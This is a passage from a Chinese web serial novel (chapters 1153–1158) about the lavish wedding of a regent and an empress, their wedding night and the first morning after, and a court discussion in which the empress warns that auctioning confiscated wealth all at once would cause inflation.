那极致玄黑的苏锦底料,在明亮的红烛光晕之下,仿佛变成了一块最深邃的最纯粹的黑丝绒。 上面那只用真金线绣成的擎天巨凤,更是在烛光的映照下迸发出了前所未有的璀璨夺目的,辉煌金芒! 凤目之中不再是之前的杀伐与威严。 也不再是之前的忧虑与凝重。 而是充满了一种对未来无限的憧憬和祝福。 那长达五丈的墨金色苏锦拖尾,从她的脚下一直铺陈到寝殿的门口。 像一条通往幸福的星光大道。 就在这时。 “吱呀”一声。 寝殿的大门,被轻轻地推开了。 林臻一身大红的喜袍,缓步走了进来。 他屏退所有宫人。 然后一步一步地走到慕容嫣的身后。 从怀中取出了一个小小的精致的紫檀木盒。 打开木盒。 里面躺着一支看起来平平无奇的木簪。 那木簪,是用最普通的桃木雕刻而成的。 上面雕刻着一只栩栩如生的小小的凤凰。 雕工虽然有些粗糙。 但却充满了一种无法用言语来形容的质朴和真诚。 “嫣儿,”林臻的声音,温柔得能滴出水来,“还记得它吗?” 慕容嫣看着那支木簪,眼圈瞬间就红了。 她怎么会不记得? 这支木簪,是那年他们还是敌人时,林臻送她的。 当日美名其曰是羞辱,但实际上,这木簪是他在桃花树下,熬了三天三夜亲手为她雕刻的。 是她收到的第一份,来自于他的礼物。 也是她心中最珍贵的宝贝。 “这是我送你的第一份礼物。”林臻拿起那支木簪,小心翼翼地簪在了她那如云的秀发之间。 “明天,你就要嫁给我了。” “我希望你能戴着它。” “戴着我们爱情开始的地方。” “嫁给我这个将要爱你一生一世的男人。” 第1153章 大婚 慕容嫣看着镜中,自己发间那支朴实无华的桃木簪。 又看了看镜子里那个站在自己身后,正用一种全世界最温柔的目光注视着自己的男人。 眼泪再也忍不住,决堤而下。 她猛地转过身,一头扎进了他的怀里。 “夫君……” 她什么话也说不出来,只能紧紧地抱着他,仿佛要将自己整个人都揉进他的身体里。 林臻也紧紧地,回抱着她。 他知道,这一路走来,他们都太不容易了。 所幸所有的苦难都已过去。 从明天起,等待着他们的将只有无尽的光明和幸福。 …… 第二日。 七月初七。 整个大乾,举国同庆。 长安城更是从天还未亮,便已人声鼎沸,万人空巷。 所有的百姓都自发地走上了街头。 他们穿着自己最喜庆的衣服。 手里拿着鲜花和彩带。 聚集在从皇宫到太庙的十里长街两侧。 只为亲眼见证,他们心中那对如同神明一般的帝后,那场注定要载入史册的旷世婚礼。 辰时正。 吉时到。 “咚——咚——咚——” 九声,沉闷而悠长的钟鸣,从太庙的方向传来,响彻了整个天地。 紧接着,是,三百六十响的礼炮轰鸣! 在震耳欲聋的礼炮声中,皇宫那厚重的朱红色宫门缓缓地打开。 一队,由一万名最精锐的御林军组成的仪仗队,迈着整齐划一的铿锵步伐,从宫门内,鱼贯而出。 他们身穿崭新的黄金铠甲。 手持闪着寒光的长戟和戈矛。 每一个人都昂首挺胸,目不斜视,浑身散发着一股冰冷的肃杀之气。 紧随其后的是由三千名,宫娥和太监组成的卤簿仪仗。 他们手中高举着各种代表着皇权和威仪的,旗、盖、伞、扇。 明黄色的五爪金龙旗。 赤金色的九凤朝阳幡。 镶嵌着无数珠宝的华盖宝顶。 由最珍贵的孔雀羽毛制成的掌扇。 …… 这一切,都让围观的百姓们看得是眼花缭乱,惊叹连连。 他们何曾见过如此奢华,如此威严的皇家仪仗? 然而,当真正的主角出场时。 所有人的呼吸,都在这一瞬间停止了。 只见在仪仗队的最中央。 一辆,由三十二匹神骏非凡的纯白色御马所拉动的,无比华丽的巨大龙凤宝辇,正缓缓地驶出宫门。 宝辇之上,两道身影并肩而立。 左边一人,身穿用最顶级的墨色云锦织就的,麒麟亲王礼服。 礼服之上,用数万根纯金的金线绣着一只脚踏祥云仰天咆哮的独角麒麟 麒麟的眼睛,是用两颗硕大无比的黑色宝石镶嵌而成。 在阳光的照耀下闪烁着令人不敢直视的霸道寒光。 他正是大乾的摄政王,林臻。 今日的他褪去了平日里的慵懒和随意。 整个人如同一柄出鞘的绝世宝剑! 锋芒毕露! 锐不可当! 而站在他身边的那个女人。 则更是美得让天地都为之失色。 她就是大乾唯一的女皇帝慕容嫣。 今日的她,为了这场她和她心爱的男人共同的婚礼。 穿上了她那身独一无二的神凤降世裙。 并且,在外面极其郑重地罩上了那件用最顶级的黑金色苏锦和百鸟之羽耗时数年,才织就而成的百鸟朝凤霞帔! 那件,作为她唯一寝衣的神凤降世裙,此刻在长安明媚的阳光之下,极致玄黑的苏锦底料仿佛比最深沉的夜空还要纯粹,还要浩瀚! 它吸收了这天地间所有的杂光。 只为了将那只用无数根最纯粹的真金线和最顶级的金色棉绒,一针一线,手工绣出的从裙摆一直贯穿到她优美脖颈的擎天巨凤,衬托得淋漓尽致! 那只凤凰在阳光的照耀下,迸发出了前所未有的璀璨夺目的,几乎要刺瞎人眼的,辉煌金芒。 它不再是静态的刺绣。 它仿佛真的活了过来! 每一根凤羽都仿佛在迎风燃烧! 每一片鳞甲都仿佛在流淌着熔化的黄金! 那双用两颗鸽血红宝石点缀而成的凤目,更是炯炯有神,充满了洞悉一切睥睨下的无上威严! 她头戴用东海进贡的九十九颗绝品东珠和数千颗各色宝石打造而成的九凤冠。 一步一步,走到宝辇的最前方。 身后那长达五丈的墨金色苏锦拖尾,完全舒展开来。 那巨大的,凌乱的,磅礴的裙摆,就那样恣意地铺陈在华丽的宝辇之上。 仿佛一片由黑夜与黄金交织而成的壮丽的云海! 随着她的走动,裙摆之下,那金线密织的“满地织金”内衬,在阳光的折射下,不断地闪烁着炽热而辉煌的光芒! 仿佛在向全世界宣告着,这位绝代女帝,体内所蕴含的那足以焚尽一切魑魅魍魉的,无穷无尽的力量! 她站在那里,就仿佛是真正的神凤降临到了人间! 尊贵! 辉煌! 美丽! 强大! 所有美好的,充满力量的词汇,在这一刻用在她的身上都显得是那么的苍白无力。 广场上,街道旁,数十万,上百万的百姓在短暂的死一般的寂静之后。 爆发出了一阵发自灵魂深处的山呼海啸般的疯狂欢呼! “陛下万岁!万岁!万万岁!” “王爷千岁!千岁!千千岁!” “大乾万岁!万岁!万万岁!” 所有人都被,眼前这一幕给彻彻底底地征服了。 他们发自内心地跪倒在地。 向着宝辇之上那对如同神仙眷侣一般的传奇帝后。 献上了自己最崇高的敬意。 和最真挚的祝福。 …… 宝辇在万民的欢呼声中,缓缓地驶向了太庙。 在那里他们将祭拜天地告慰祖宗。 然后接受百官的朝贺和万邦的来朝。 整个仪式繁琐而又漫长。 但林臻和慕容嫣却丝毫感觉不到疲惫。 他们的脸上始终带着幸福的笑容。 他们的手也始终紧紧地牵在一起。 当所有的仪式都结束时。 天色已经完全黑了。 林臻和慕容嫣,在众人的簇拥下重新回到了那辆华丽的龙凤宝辇之上。 只是这一次宝辇没有再回皇宫。 而是,驶向了位于长安城东的摄政王府。 按照礼制。 大婚之后,皇帝需在王府留宿三日。 方可返回皇宫。 当宝辇缓缓地停在早已张灯结彩,喜气洋洋的摄政王府门口时。 林臻和慕容嫣相视一笑。 他们知道。 从这一刻起。 他们才算是真正意义上的夫妻了。 第1154章 洞房花烛 摄政王府,张灯结彩,喜气洋洋。 从大门口一直到最深处的新房。 一路之上都铺着厚厚的崭新红地毯。 地毯的两侧,每隔三步便点着一对巨大的龙凤喜烛。 将整个王府都照得亮如白昼。 空气中弥漫着一股淡淡的喜庆的檀香味。 林臻和慕容嫣,手牵着手,在一众宫娥和嬷嬷的簇拥下,缓缓地走进了那间早已为他们精心布置好的新房。 新房之内,更是奢华到了极点。 地上铺着产自波斯的最顶级的纯羊毛地毯。 墙上挂着前朝大家吴道子的百鸟朝凤图。 桌上摆着用整块的和田美玉,雕刻而成的龙凤呈祥合卺杯。 就连那张宽大得足以躺下七八个人的巨大婚床之上。 铺着的也都是用天山雪蚕丝织就的锦被和鸳鸯枕。 整个房间,都透着一股浓浓的皇家气派。 和醉人的甜蜜气息。 “好了,你们都下去吧。”林臻对着,跟进来的那些宫娥和嬷嬷,摆了摆手。 “是,王爷。” 宫娥们躬身行礼,然后便如同潮水一般悄无声息地退了出去。 并且体贴地为他们关上了那扇厚重的雕花木门。 “吱呀——” 随着木门缓缓地合上。 整个房间瞬间便安静了下来。 只剩下两颗因为,紧张和期待,而“怦怦”狂跳的心。 气氛在这一刻变得有些微妙。 也有些尴尬。 虽然他们早已是这个世界上最亲密的爱人。 但像今天这样真正意义上的洞房花烛夜。 对他们来说都还是第一次。 慕容嫣坐在床边,低着头,双手紧张地绞着自己的衣角。 那张在白天还威严无双的绝美俏脸之上。 此刻早已飞上了两抹动人的红霞。 林臻看着她那副又娇羞,又可爱的模样,心中爱意更浓。 他笑着走上前,在她身边坐下。 然后伸出手,轻轻地将她揽入怀中。 “我的皇后陛下,”他的声音沙哑而又充满了磁性,“怎么?现在知道害羞了?” “我……我才没有……”慕容嫣的声音,细若蚊呐,连头都不敢抬。 “还没有?”林臻低笑一声,伸出手轻轻地抬起了她那精致的下巴,逼着她与自己对视。 “那你的脸,怎么红得跟个猴屁股似的?” “你……你才是猴屁股!”慕容嫣又羞又气地,在他胸口轻轻地捶了一下。 那力道软绵绵的,与其说是在打他。 不如说是在撒娇。 林臻看着她那双因为害羞,而变得水光潋滟的凤眸。 只觉得自己快要醉死在这片温柔的海洋里了。 他再也控制不住自己。 低头便要吻下去。 “等……等等!”慕容嫣就在,他的唇即将触及到自己的唇时,突然伸出手抵住了他的胸膛。 “怎……怎么了?”林臻的动作一僵,有些不解地看着她。 “我……我头上的凤冠,太重了……”慕容嫣红着脸,小声地说道。 林臻闻言,这才反应了过来。 他看着她头上,那顶由九十九颗东珠和数千颗宝石打造而成的华丽凤冠。 也是哭笑不得。 这顶凤冠,是他为了彰显她的尊贵,特意命人不计成本打造的。 现在倒好。 竟然成了,他们亲热的最大障碍。 “好好,我的错,我的错。”他连忙举手投降。 然后小心翼翼地帮她,将那顶沉重的凤冠取了下来。 紧接着又是那件,繁复的百鸟朝凤霞帔。 当最后一件束缚,也被解除时。 慕容嫣终于长长地舒了一口气。 此刻的她,只穿着那件作为唯一寝衣的神凤降世裙。 没有了,凤冠和霞帔的衬托。 她整个人少了几分君临天下的威严。 多了几分属于小女人的慵懒和娇媚。 那极致玄黑的苏锦底料,在洞房之内那跳跃的,暧昧的红烛光晕之下。 仿佛变成了一块最柔软的,最丝滑的黑色绸缎。 紧紧地贴合着她那玲珑有致的完美身段。 将她那欺霜赛雪的,白皙肌肤,衬托得愈发地晶莹剔透,吹弹可破。 那只用真金线绣成的擎天巨凤,也仿佛被这暧昧的气氛所感染。 收敛了所有的光芒。 凤目之中只剩下一片,迷离的醉人春色。 那长达五丈的墨金色苏锦拖尾,从床沿一直铺陈到房间的另一头。 像一片被春色浸染的黑金色海洋。 将整个房间都笼罩在了一片,充满了情欲和甜蜜的氛围之中。 林臻看着眼前,这个美得让他快要窒息的人间尤物。 只觉得自己浑身的血液,都在疯狂燃烧! 他再也不愿再等哪怕一秒钟! 他低吼一声,如同一头饿了三天三夜的猛虎。 猛地将她扑倒在了那张,铺满了玫瑰花瓣的巨大婚床之上。 “嫣儿……” 他的声音沙哑得不成样子。 “我爱你……” “嗯……” 慕容嫣闭上了眼睛,长长的睫毛如同蝶翼一般,微微地颤抖着。 她伸出那如同白玉藕臂一般的双臂。 紧紧地勾住了他的脖子。 用最热烈的,最深情的吻,回应着他。 红烛摇曳。 春色无边。 这一夜注定是一个不眠之夜。 也是一个属于他们的全新开始。 ...... 翌日。 天光大亮。 一缕调皮的阳光透过窗棂的缝隙,悄悄地爬上了那张宽大奢华的喜床。 慕容嫣长长的睫毛,微微地颤动了一下。 然后,缓缓地睁开了眼睛。 入目所及,是一张放大了的英俊得让人心跳加速的睡颜。 林臻还在睡。 他的呼吸均匀而又绵长。 那张平日里总是带着一丝慵懒和不羁的脸。 此刻在晨光的映照下,显得格外的安静和柔和。 少了几分摄政王的霸道。 多了几分属于她一个人的,丈夫的温柔。 慕容嫣的心,瞬间就软成了一滩水。 她就这么痴痴地看着他。 仿佛怎么也看不够。 她小心翼翼地伸出手,想要去描摹他那如同刀削斧凿一般的完美轮廓。 可她的指尖,还未触及到他的脸颊。 他那双深邃的,如同星辰大海一般的眼睛便突然睁开了。 四目相对。 空气中,瞬间便充满了一种难以言喻的甜蜜和温馨。 “早啊,我的皇后陛下。” 林臻的声音带着一丝刚刚睡醒的沙哑。 却又充满了让人沉溺的宠溺。 慕容嫣的脸,“轰”的一下又红了。 昨夜那些,疯狂而又羞人的画面,如同潮水一般涌入了她的脑海。 第1155章 老夫老妻害羞什么 她连忙将自己的脸,深深地埋进了他那宽阔而又温暖的胸膛里。 不敢再看他。 林臻看着她那副,鸵鸟一般的可爱模样,忍不住低笑出声。 他伸出双臂,将她那柔软得不可思议的娇躯,更紧地搂入怀中。 “傻丫头,都老夫老妻了,还害羞呢?” “谁……谁跟你老夫老妻了……” 慕容嫣的声音,闷闷地从他的怀里传来。 带着一丝,连她自己都未曾察觉的娇嗔。 林臻的心又是一阵狂跳。 他只觉得自己上辈子一定是拯救了整个银河系。 这辈子,才能娶到如此可爱又迷人的宝贝。 他低头,在她的发顶印下了一个温柔的吻。 “好,不是老夫老妻。” “是我林臻八抬大轿,明媒正娶回来的,心肝宝贝,小娇妻。” 这句肉麻得让人牙酸的情话,却让慕容嫣的心里甜得像是灌了蜜。 她在他怀里,偷偷地勾起了嘴角。 昨夜的疯狂让两人都有些疲惫。 但精神上却是前所未有的满足和愉悦。 他们就这么静静地相拥着。 享受着这难得的,只属于他们两个人的静谧时光。 阳光透过窗户洒在他们身上。 也洒在了那件,见证了他们从敌人,到爱人,再到夫妻的传奇之袍上。 此刻,这件作为唯一寝衣的神凤降世裙,正凌乱地铺陈在巨大的婚床之上。 那极致玄黑的苏锦底料,因为昨夜的“激战”,而变得皱皱巴巴。 却也因此,更添了几分说不清道不明的暧昧和诱惑。 那只用真金线绣成的擎天巨凤,也仿佛刚刚经历了一场酣畅淋漓的大战。 收敛了所有的锋芒和威严。 凤目微阖。 透着一股,事后的慵懒和满足。 那长达五丈的墨金色苏锦拖尾,更是以一种极其夸张的姿态。 一半纠缠在两人的身上。 一半从床沿,一直流淌到冰冷的金砖地面之上。 形成了一片,充满了情欲与放纵的华贵凌乱。 仿佛在无声地诉说着昨夜的疯狂。 “咚咚咚。” 就在两人,你侬我侬享受着这难得的温存之时。 一阵,小心翼翼的敲门声从殿外响了起来。 紧接着,是王府管家那恭敬而又带着一丝忐忑的声音。 “王爷,王妃……该……该起身用早膳了……” 王妃? 慕容嫣的身体,微微一僵。 她这才猛然意识到。 这里已经不是皇宫了。 而是摄政王府。 而她,也不再仅仅是那个高高在上的女皇帝。 更是他林臻的妻子。 是这座王府的女主人。 这个全新的身份,让她感到了一丝新奇。 也感到了一丝莫名的紧张。 林臻显然也察觉到了她的变化。 他看着她那,有些不知所措的可爱模样,嘴角的笑意更浓了。 他伸出手,宠溺地捏了捏她的脸颊。 “听到了吗?我的王妃殿下。” “管家,在催我们去用早膳了。” “你……你别胡说!” 慕容嫣被他那句“我的王妃殿下”,给羞得脸颊再次一片滚烫。 她推开他,手忙脚乱地从床上坐了起来。 想要去寻找,自己那件被他不知扔到哪里去了的霞帔。 却被林臻,一把从身后重新拉回了怀里。 “急什么?” 他的下巴轻轻地抵在她的肩窝。 灼热的呼吸喷洒在她那敏感的耳垂之上。 “让他们等着就是了。” “天大的事,还能比我们夫妻俩说会儿体己话重要吗?” “你……你这个无赖!” 慕容嫣的身体,瞬间就软了。 她吓得连忙挣扎了起来。 “不行!快放开我!” “这还是大白天呢!” “白天怎么了?” 林臻一脸理所当然地说道。 “我们可是奉了满朝文武的旨意,在为我们大乾的储君事业,添砖加瓦。” “这可是天大的正事!” “谁敢有意见?” 他说着,那只不老实的手大便又开始不规矩起来。 慕容嫣又羞又急。 却又根本,挣脱不开他的怀抱。 只能任由他,胡作非为。 就在她,以为这个坏蛋又要故技重施的时候。 他的动作却突然停了下来。 他只是静静地抱着她。 将脸深深地埋在她的颈窝里。 贪婪地,嗅着那能让他心安的熟悉的兰花香气。 许久。 他才缓缓地开口,声音带着一丝前所未有的满足和喟叹。 “嫣儿,你知道吗?” “我以前,做梦都不敢想,会有今天这样的日子。” 慕容嫣的身体,微微一颤。 她知道,他指的是什么。 他们这一路走来,实在是太苦了。 多的是,刀光剑影,血雨腥风。 少的是,花前月下,儿女情长。 如今终于守得云开见月明。 这份来之不易的幸福,让他们每一个人都倍感珍惜。 “夫君……” 慕容嫣转过身,主动地伸出双臂回抱着他。 “以后,我们都会好好的。” “再也没有人能把我们分开了。” “嗯。” 林臻重重地点了点头。 他低头,在她的额头上印下了一个虔诚的吻。 两人又温存了许久。 直到,殿外的管家第三次前来催促。 他们才依依不舍地起了床。 在宫娥的伺候下洗漱更衣。 当慕容嫣,穿着那身作为唯一寝衣的神凤降世裙,第一次以一个“王妃”的身份,出现在摄政王府的饭厅时。 所有当值的下人全都齐刷刷地跪倒在地。 “奴才(奴婢),参见王妃娘娘!王妃娘娘,千岁!千岁!千千岁!” 那山呼海啸般的声音,让慕容嫣的脚步微微一顿。 脸上,也露出了一丝不太自然的神情。 她还是有些不太习惯,这个新的称呼。 林臻看出了她的不自在。 他笑着,握紧了她的手。 然后,对着那些跪在地上的下人,朗声说道。 “都起来吧。” “以后,在王府里没有那么多规矩。” “陛……王妃娘娘,不喜欢这些繁文缛节。” “你们以后见了王妃,就如同见了我一样。” “都随意些便好。” “谢王爷!谢王妃娘娘!” 下人们,战战兢兢地站了起来。 但看向慕容嫣的眼神里,却依旧充满了敬畏和好奇。 他们做梦也想不到。 有朝一日,他们竟然能和,这位传说中的,大乾女帝,同处一个屋檐之下。 还能,亲眼看到,她穿着寝衣的样子。 第1156章 一刻不得闲 此刻的她只穿着那件极致玄黑的神凤降世裙。 虽然没有了凤冠霞帔的加持。 但那股与生俱来的,君临天下的高贵气质,却依旧无法掩饰。 那极致玄黑的苏锦底料,在饭厅明亮的晨光之下,显得深邃而又神秘。 仿佛能将,所有的光线都吸进去。 那只用真金线绣成的擎天巨凤,从她的脚踝一直盘旋到她那优美的天鹅颈。 凤目炯炯,睥睨众生。 仿佛在无声地宣告着它主人那至高无上的身份。 那长达五丈的墨金色苏锦拖尾,因为她刚才的走动,而随意地流淌,堆叠在光可鉴人的金砖地面上。 形成了一片,充满了慵懒与华贵的凌乱。 让她整个人,在威严之中又多了几分属于妻子的温婉和随性。 林臻拉着她在主位上坐下。 然后,亲自为她盛了一碗刚刚熬好的燕窝粥。 “来,我的王妃殿下。” “尝尝看,我们王府大厨的手艺,比不比得上你们皇宫里的御厨。” 他一脸献宝似的,将那碗粥递到了她的面前。 慕容嫣看着他那副,殷勤备至的模样,有些哭笑不得。 她接过那碗粥,轻轻地尝了一口。 入口软糯香甜。 确实是难得的美味。 “嗯,还不错。” 她点了点头,给出了一个中肯的评价。 “只是还不错?” 林臻的眉头挑了一下。 “看来,我回头得把王府的厨子,给换掉了。” “让他们去御膳房,好好学学,到底该怎么伺候,我们这位嘴刁的皇后陛下。” “你又胡说!” 慕容嫣嗔怪地,瞪了他一眼。 但那眼底,却全是藏不住的笑意。 她知道,这个男人是在故意逗她开心。 两人就这么一边斗着嘴,一边享用着他们婚后的第一顿早餐。 气氛温馨而又甜蜜。 然而就在这时。 王府的管家又一次,苦着一张脸走了进来。 并且,他的身后还跟着户部尚书周兴和工部尚书李格。 林臻的脸瞬间就黑了。 他“啪”的一声,将手中的筷子,拍在了桌上。 “还有完没完了?!” 他咬牙切齿地,从牙缝里挤出了几个字。 “本王昨天才刚刚大婚!” “今天,你们就组着团,跑到本王的府上来哭丧吗?!” “是不是真觉得,本王不敢把你们全都发配到北疆去种地?!” 周兴和李格,被他那股滔天的怒火,给吓得浑身一哆嗦。 “噗通”一声,便跪倒在地。 “王爷息怒!王爷息怒啊!” “我……我们也不想啊!” 周兴哭丧着一张脸说道。 “可是,这‘皇家商行’和‘股票’的事,实在是太重要了!” “我跟李大人,昨天晚上一夜没睡,琢磨了一宿!” “越琢磨越觉得,王爷您此计真乃经天纬地之才啊!” “我们是一刻也等不了了!就想立刻马上来跟您和陛下商讨一下,具体的施行细节啊!” 李格也在一旁,连连点头。 “是啊,王爷!尤其是那个‘股票’!” “这东西,简直就是闻所未闻的神仙手段!” “我们工部现在正愁着没钱,去修缮全国的水利和官道呢。” “要是能把这‘股票’给发行了。” “那我们大乾,未来百年的基建大计,可就全都有着落了啊!” 两个老头,你一言我一语。 说得是眉飞色舞,激动万分。 仿佛已经看到了大乾未来那金光闪闪的康庄大道。 林臻听着他们的话,脸上的怒气才稍稍消散了一些。 他知道,这两个老头虽然是有些不识时务。 但他们也确实是一心为国。 “行了行了,都起来吧。” 他有些无奈地摆了摆手。 “多大点事儿至于一大早就跑到本王府上来寻死觅活的吗?” “谢王爷!” 周兴和李格如蒙大赦,连忙从地上爬了起来。 慕容嫣看着眼前这一幕,也是有些哭笑不得。 她知道,自己这三天清闲的“婚假”,恐怕是泡汤了。 她这位夫君,虽然嘴上说着要当甩手掌柜。 但骨子里却是个比谁都更负责任的劳碌命。 而她自己又何尝不是呢? 她放下手中的碗筷,对着周兴和李格温言说道。 “两位爱卿辛苦了。” “既然你们已经有了初步的章程。” “那便说来听听吧。” “是,陛下!” 周兴和李格精神一振。 连忙将他们,连夜赶制出来的厚厚一沓计划书呈了上来。 林臻和慕容嫣一人拿了一份,开始仔细地翻阅。 这一看便是一个上午。 不得不说,周兴和李格这两个老头,虽然思想有些陈旧。 但在专业领域确实是顶尖的人才。 他们制定的这份关于成立“皇家商行”的计划书。 从商行的选址,到人员的构成,再到第一批拍卖品的筛选和估价。 都做得井井有条,滴水不漏。 甚至连如何利用这次拍卖会,来为后续的“股票”发行造势宣传,他们都考虑到了。 “不错。” 林臻看完之后,满意地点了点头。 “就按照你们这个章程去办吧。” “需要人手就去吏部要。” “需要场地就让京兆府批。” “总之,钱,本王给你们出。” “你们要做的就是把这场开国以来的,第一场皇家拍卖会,给本王办得,风风光光,漂漂亮亮!” “让全天下的人都看看,我们大乾的实力!” “是!王爷!” 周兴和李格激动地满脸通红。 然而,就在这时。 慕容嫣却突然开口了。 “夫君,我有一个不同的看法。” 她放下了手中的计划书,看着林臻,那双美丽的凤眸之中闪烁着理性的光芒。 “我认为,这件事不能操之过急。” 林臻微微一愣。 这是他们成婚之后,她第一次,在政务上与他产生分歧。 “哦?说来听听。” 他饶有兴致地看着她。 他倒想看看,他这位聪明绝顶的皇后陛下,到底有什么高见。 此刻的慕容嫣,依旧穿着那身,作为唯一寝衣的神凤降世裙。 那极致玄黑的苏锦底料,因为她刚才的端坐而显得,格外地平整和肃穆。 那只用真金线绣成的擎天巨凤,也仿佛感受到了主人那认真的态度。 凤目之中,迸发出了,锐利的,属于帝王的,审视的光芒。 那长达五丈的墨金色苏锦拖尾,从她的椅背后安静地流淌在地板上,形成了一片充满了,庄重与威严的华贵凌乱。 第1157章 通货膨胀 “夫君,周尚书和李尚书的这份计划,确实很详尽。” 慕容嫣的声音清越而又冷静。 “但是他们只看到了成立皇家商行能给我们带来的巨大的利益。” “却没有看到这背后,所隐藏的巨大的风险。” “风险?” 林臻,周兴,和李格都愣住了。 他们想不明白。 这件一本万利,稳赚不赔的好事能有什么风险? “当然有风险。” 慕容嫣点了点头,目光扫过三人。 “而且还是足以动摇我们国本的巨大风险!” 她的声音不大。 却像一记重锤狠狠地敲在了每一个人的心上。 “你们想过没有?” “我们这次查抄的是整个江南,最富庶的几十个世家门阀。” “他们积累了数百年的财富,加在一起是一个何等恐怖的天文数字?” “我们现在,要把这些财富全都通过拍卖会的形式,重新投入到市面上。” “这会造成一个什么样的后果?” 她看着,一脸茫然的三人缓缓地说出了两个字。 “通胀。” “通胀?” 周兴和李格,这两个土生土长的古代人,显然是第一次听到这个词。 林臻的瞳孔却是猛地一缩! 他瞬间就明白了慕容嫣的意思! 通货膨胀! 他怎么把这个,最基本也最致命的经济学原理,给忘了?! 在市场上的货物总量保持不变的情况下。 一旦有大量的超发的货币涌入市场。 那必然会导致物价飞涨货币贬值! 到时候倒霉的还是那些最底层的普通百姓! 他们辛辛苦苦攒了一辈子的那点积蓄。 可能在一夜之间,就变成了一堆毫无价值的废纸! 这确实是足以动摇国本的巨大隐患! “嫣儿,你……” 林臻看着慕容嫣,那双深邃的眼睛里,充满了难以言喻的震惊和赞叹。 他真的没有想到。 他这位皇后陛下,竟然单凭着她那与生俱来的敏锐直觉。 就洞悉了这个连他自己都忽略了的致命陷阱! “陛下……这通胀,到底是个什么意思啊?” 周兴和李格,还是一脸的懵懂。 慕容嫣耐着性子,用一种最通俗易懂的语言,给他们解释了一遍。 “这就好比我们长安城里原本只有一百个包子。” “也只有一百个想吃包子的人。” “每个人手里都只有一文钱。” “那么一个包子就只卖一文钱。” “可现在我们突然往长安城里扔了一万贯钱。” “每个人手里都突然有了一百文钱。” “但包子还是,只有那一百个。” “你们说那卖包子的,还会只卖一文钱一个吗?” “他肯定会涨价啊!涨到十文!甚至一百文一个!” “到时候,那些手里钱少的,或者根本没抢到钱的穷人,就再也吃不起包子了!” “他们会饿死!” “而一旦有大量的人被饿死。” “那离天下大乱也就不远了!” 周兴和李格,听完这个比喻。 额头上瞬间便冒出了一层细密的冷汗! 他们终于,明白了! 他们终于明白了陛下所说的,那个风险到底有多么的可怕! 他们刚才光想着怎么把那些,查抄来的金银财宝变成钱。 却完全没有想过。 这些钱一旦毫无节制地流入市场。 将会给整个国家的经济体系,带来怎样毁灭性的冲击! “陛……陛下圣明!” “臣……臣等,糊涂啊!” 两个老头,噗通一声又跪了下去。 这一次他们是发自内心的心服口服! 他们看着眼前这位年纪轻轻,却拥有着经天纬地之才的绝代女帝。 心中除了敬畏便只剩下了无尽的崇拜! “行了,都起来吧。” 林臻看着两个吓得,面如土灰的老头有些无奈地摆了摆手。 然后他转过头看着自己那位正襟危坐一脸严肃的小娇妻。 嘴角勾起了一抹宠溺的笑容。 “那依我们英明神武的,皇后陛下之见。” “此事该当如何处置啊?” 他故意,把“皇后陛下”四个字咬得特别重。 慕容嫣白了他一眼。 但那眼底,却也闪过了一丝不易察觉的小得意。 能在自己心爱的男人面前,展现自己的才华。 并且,得到他的认可。 这种感觉让她很是受用。 她清了清嗓子缓缓地开口。 “此事,倒也不难解决。” “我们不能一下子把所有的财宝,都拿出来拍卖。” “我们必须控制节奏。” “细水长流。” “我们可以先成立一个皇家内务府直辖的珍宝馆。” “将所有查抄来的,金银、玉器、古玩、字画,进行,统一的,登记、鉴定、和估价。” “然后每个月或者每个季度,只拿出一小部分最顶尖的珍品来进行拍卖。” “这样一来既能保证每一次拍卖会都能拍出一个好价钱。” “又能避免大量的热钱,在短时间冲击市场。” “而且,”她的眼中闪烁着智慧的光芒,“我们拍卖收上来的钱,也不能直接投入国库,发给官员和将士。” “我们必须用这些钱去做一些能真正创造价值的实业!” “比如我们可以用这笔钱去江南开办,我们大乾自己的纺织厂,瓷器厂,和造船厂!” “我们自己生产丝绸,生产瓷器,建造能远航万里的巨大宝船!” “然后我们再把这些,我们自己生产出来的货物,通过我们自己的商队卖到西域,卖到海外!” “去赚那些西域人和海外蛮夷的钱!” “如此一来我们才能真正地将那些抄来的‘死钱’,变成能为我们大乾源源不断创造财富的活钱!” “这才是真正的强国之本!” 这番话再一次让整个饭厅陷入了死一般的寂静。 周兴和李格,已经彻底说不出话来了。 他们只是呆呆地看着,那个坐在主位之上侃侃而谈,浑身都散发着智慧光芒的年轻女帝。 感觉自己的世界观,又一次被颠覆了! 林臻也同样被慕容嫣这番,高屋建瓴的宏伟构想给深深地震撼了。 他原本以为自己提出的那个“股票”计划,就已经够超前够惊世骇俗了。 可现在跟自己媳妇儿这个发展实业,开拓海外贸易的“全球化战略”比起来。 简直就是,小巫见大巫! 第1158章 你今天是打算把我们王府的地板给跪穿吗 他看着眼前这个明明连长安城都没出去过几次。 却拥有着比这个时代所有人都更开阔更长远眼光的女人。 心中除了骄傲,便只剩下了无尽的爱意。 他知道自己,是真的捡到宝了。 “嫣儿,你……” 他张了张嘴,却发现自己竟然不知道该说什么好了。 任何赞美的词汇,在她的这番惊天动地的构想面前,都显得是那么的苍白无力。 “陛下……陛下真乃,天纵奇才啊!” 最终还是户部尚书周兴,率先打破了沉默。 他那张肥胖的脸上,此刻已经全是狂热的崇拜。 “发展实业!开拓海外!” “用我们大乾的商品,去赚全世界的钱!” “这……这才是,真正的万世不移的国之大计啊!” “老臣今日方知何为井底之蛙!” “与陛下的雄才大略相比,老臣那点只盯着国库里几两银子的蝇头小利,简直就是鼠目寸光!不值一提!” 他说着便又要跪下去。 却被林臻一把给拉住了。 “行了行了,周胖子。” 林臻没好气地说道。 “你今天是打算把我们王府的地板给跪穿吗?” “不是啊,王爷!” 周兴一脸委屈地说道。 “老臣这是,发自肺腑的激动啊!” “您是不知道,听完陛下这番话,老臣现在只觉得浑身的血都在烧啊!” “老臣现在就想立刻,马上去江南!” “去给陛下,建纺织厂!建瓷器厂!” “老臣,要让我们大乾的丝绸,铺满整个西域!” “要让我们大乾的瓷器成为海外蛮夷,争相抢购的无价之宝!” 他越说越激动。 整个人都像是打了鸡血一样。 一旁的工部尚书李格,也是差不多的状态。 “对!还有造船厂!” “老臣,要造!就造全世界最大!最坚固的船!” “我们要让我们大乾的龙旗,插遍四海八荒的每一个角落!” 林臻看着,这两个突然变得,愤青起来的老头。 也是有些哭笑不得。 他知道,慕容嫣给他们画的这个“大饼”实在是太大了。 大到足以让任何一个心怀抱负的臣子为之疯狂。 他转过头看着,自己那位依旧一脸淡定的小娇妻。 眼中全是,藏不住的宠溺和骄傲。 “好了,你们两个都先冷静一下。” 他对着周兴和李格,摆了摆手。 “饭要一口一口吃,路要一步一步走。” “陛下的这个构想,虽然宏伟。” “但想要实现它,却并非一日之功。” 